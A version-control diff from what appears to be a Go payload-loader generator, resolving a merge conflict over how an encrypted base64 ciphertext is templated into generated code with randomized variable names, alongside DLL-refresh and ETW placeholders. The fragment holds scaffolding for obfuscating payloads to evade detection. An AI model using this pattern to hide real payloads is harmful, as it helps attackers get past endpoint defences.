2.3

Loader/Loader.go

@@ -143,23 +143,8 @@ func DLLfile(b64ciphertext string, b64key string, b64iv string, mode string, ref
 	WindowsVersion := &WindowsVersion{}
 	WindowsVersion.Variables = make(map[string]string)
 
-<<<<<<< HEAD
 	DLL.Variables["fullciphertext"] = Cryptor.VarNumberLength(4, 12)
 	DLL.Variables["ciphertext"] = Utils.B64ripper(b64ciphertext, DLL.Variables["fullciphertext"], true)
-=======
-	splitval := len(b64ciphertext)
-	splitval = splitval - 45
-	encodedfirsthalf := string(b64ciphertext[:splitval])
-	encodedsecondhalf := string(b64ciphertext[splitval:])
-
-	DLL.Variables["b64_string1name"] = Cryptor.VarNumberLength(4, 12)
-	DLL.Variables["b64_string2name"] = Cryptor.VarNumberLength(4, 12)
-	DLL.Variables["fullciphertext"] = Cryptor.VarNumberLength(4, 12)
-	DLL.Variables["b64_string1value"] = encodedfirsthalf
-	DLL.Variables["b64_string2value"] = encodedsecondhalf
-
-	DLL.Variables["ciphertext"] = b64ciphertext
->>>>>>> 2be2a036f73846a9aba50e30d2fd9fc2b2184aa4
 	DLL.Variables["key"] = b64key
 	DLL.Variables["iv"] = b64iv
 	DLL.Variables["vkey"] = Cryptor.VarNumberLength(4, 12)

Struct/Struct.go

@@ -342,14 +342,8 @@ func DLL_Refresher() string {
 		if {{.Variables.Version}} == "10.0" {
 			{{.Variables.loader}}()
 		}
-<<<<<<< HEAD
 		{{.Variables.ETW}}
 		{{.Variables.ciphertext}}
-=======
-		{{.Variables.b64_string1name}} := "{{.Variables.b64_string1value}}"
-		{{.Variables.b64_string2name}} := "{{.Variables.b64_string2value}}"
-		{{.Variables.fullciphertext}} := {{.Variables.b64_string1name}} + {{.Variables.b64_string2name}} 
->>>>>>> 2be2a036f73846a9aba50e30d2fd9fc2b2184aa4
 		{{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})
 
 		{{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")